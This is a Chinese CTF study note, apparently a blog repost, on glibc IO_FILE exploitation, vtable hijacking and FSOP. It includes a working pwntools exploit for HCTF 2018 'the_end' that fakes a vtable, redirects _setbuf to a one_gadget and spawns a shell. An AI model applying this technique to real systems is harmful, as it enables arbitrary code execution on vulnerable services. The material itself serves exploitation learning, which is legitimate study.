zoukankan      html  css  js  c++  java
  • IO_FILE利用与劫持vtables控制程序流程、FSOP

     

    FILE结构

    struct _IO_FILE {
      int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags
    
      /* The following pointers correspond to the C++ streambuf protocol. */
      /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
      char* _IO_read_ptr;   /* Current read pointer */
      char* _IO_read_end;   /* End of get area. */
      char* _IO_read_base;  /* Start of putback+get area. */
      char* _IO_write_base; /* Start of put area. */
      char* _IO_write_ptr;  /* Current put pointer. */
      char* _IO_write_end;  /* End of put area. */
      char* _IO_buf_base;   /* Start of reserve area. */
      char* _IO_buf_end;    /* End of reserve area. */
      /* The following fields are used to support backing up and undo. */
      char *_IO_save_base; /* Pointer to start of non-current get area. */
      char *_IO_backup_base;  /* Pointer to first valid character of backup area */
      char *_IO_save_end; /* Pointer to end of non-current get area. */
    
      struct _IO_marker *_markers;
    
      struct _IO_FILE *_chain;
    
      int _fileno;
    #if 0
      int _blksize;
    #else
      int _flags2;
    #endif
      _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
    
    #define __HAVE_COLUMN /* temporary */
      /* 1+column number of pbase(); 0 is unknown. */
      unsigned short _cur_column;
      signed char _vtable_offset;
      char _shortbuf[1];
    
      /*  char* _save_gptr;  char* _save_egptr; */
    
      _IO_lock_t *_lock;
    #ifdef _IO_USE_OLD_IO_FILE
    };

    进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。

    在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的

    我们可以在 libc.so 中找到 stdinstdoutstderr 等符号,这些符号是指向 FILE 结构的指针,真正结构的符号是

    _IO_2_1_stderr_
    _IO_2_1_stdout_
    _IO_2_1_stdin_

    该结构体有一个plus版的包含着,其中有一个成员交虚表

    在 libc2.23 版本下,32 位的 vtable 偏移为 0x94,64 位偏移为 0xd8

    vtable

    void * funcs[] = {
       1 NULL, // "extra word"
       2 NULL, // DUMMY
       3 exit, // finish
       4 NULL, // overflow
       5 NULL, // underflow
       6 NULL, // uflow
       7 NULL, // pbackfail
       
       8 NULL, // xsputn  #printf
       9 NULL, // xsgetn
       10 NULL, // seekoff
       11 NULL, // seekpos
       12 NULL, // setbuf
       13 NULL, // sync
       14 NULL, // doallocate
       15 NULL, // read
       16 NULL, // write
       17 NULL, // seek
       18 pwn,  // close
       19 NULL, // stat
       20 NULL, // showmanyc
       21 NULL, // imbue
    };

    2018 HCTF the_end

    其功能可以对任意位置进行写5个字节

    还直接爆了libc给你

    知识点

    程序调用 exit 后,会遍历 _IO_list_all ,调用 _IO_2_1_stdout_ 下的 vatable 中 _setbuf 函数。

    思路

    由于我们知道exit执行后,会调用虚表里的_setbuf函数,所以我们可以劫持这个函数为我们的onegadget,我们就可以getshell

    1. 其次由于我们只有5个字节可以修改,所以首先我们需要构造一个假的vatble
    2. 由于_setbuf在虚表的0x58偏移处,而这里我们需要修改为one_gadget,所以应该要改8个字节才对,可惜我们最多只能修改5个字节,所以我们可以这样分配5个字节:2个字节分配个虚表的修改,gadget需要3个字节或者反过来
    3. 当我们分配完字节后,需要自己到内存中取找到满足条件的地址,条件就是fake vtable+0x58这里的地址值需要在libc内,并且与one_gadget的偏移需要在2-3个字节内即可。而fake vtable则必须要vtable周围找才行,所以我们只能修改2-3个字节

    这里我引用了下wiki里的代码

    from pwn import *
    context.log_level="debug"
    
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    # p = process('the_end')
    p = remote('127.0.0.1',1234)
    
    rem = 0
    if rem ==1:
        p = remote('150.109.44.250',20002)
        p.recvuntil('Input your token:')
        p.sendline('RyyWrOLHepeGXDy6g9gJ5PnXsBfxQ5uU')
    
    sleep_ad = p.recvuntil(', good luck',drop=True).split(' ')[-1]
    
    libc_base = long(sleep_ad,16) - libc.symbols['sleep']
    one_gadget = libc_base + 0xf02b0
    vtables =     libc_base + 0x3C56F8
    
    fake_vtable = libc_base + 0x3c5588
    target_addr = libc_base + 0x3c55e0
    
    print 'libc_base: ',hex(libc_base)
    print 'one_gadget:',hex(one_gadget)
    print 'exit_addr:',hex(libc_base + libc.symbols['exit'])
    
    # gdb.attach(p)
    
    for i in range(2):
        p.send(p64(vtables+i))
        p.send(p64(fake_vtable)[i])
    
    
    for i in range(3):
        p.send(p64(target_addr+i))
        p.send(p64(one_gadget)[i])
    
    p.sendline("exec /bin/sh 1>&0")
    
    p.interactive()

    参考文章:FILE 结构

         伪造 vtable 劫持程序流程

    FSOP

    这个之前有看过一点题目的wp,先说下自己的理解

    某些函数在调用的时候,会因为FIle结构体中的read之类的和write之类的指针不一样,而流程不一样,这里之前看了pwnki师傅推荐的博客

    所以呢,我们只要能够修改这里面的值,那么我们就可以做到控制程序流程,来getshell

    我们再来看看wiki上的解释

    int
    _IO_flush_all_lockp (int do_lock)
    {
      ...
      fp = (_IO_FILE *) _IO_list_all;
      while (fp != NULL)
      {
           ...
           if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
                   && _IO_OVERFLOW (fp, EOF) == EOF)
               {
                   result = EOF;
              }
            ...
      }
    }

    _IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

    1. 当 libc 执行 abort 流程时

    2. 当执行 exit 函数时

    3. 当执行流从 main 函数返回时

    参考资料:FSOP

         利用 _IO_2_1_stdout_ 泄露信息

  • 相关阅读:
    kafka学习默认端口号9092
    kafka搜索介绍
    进程线程区别
    linux下的mysql修改默认编码
    [LeetCode] #19 Remove Nth Node From End of List
    [LeetCode] #18 4Sum
    [LeetCode] #17 Letter Combinations of a Phone Number
    [LeetCode] #16 3Sum Closest
    编程之美2015 #1 2月29日
    编程之美2015 #2 回文字符序列
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14257237.html
Copyright © 2011-2022 走看看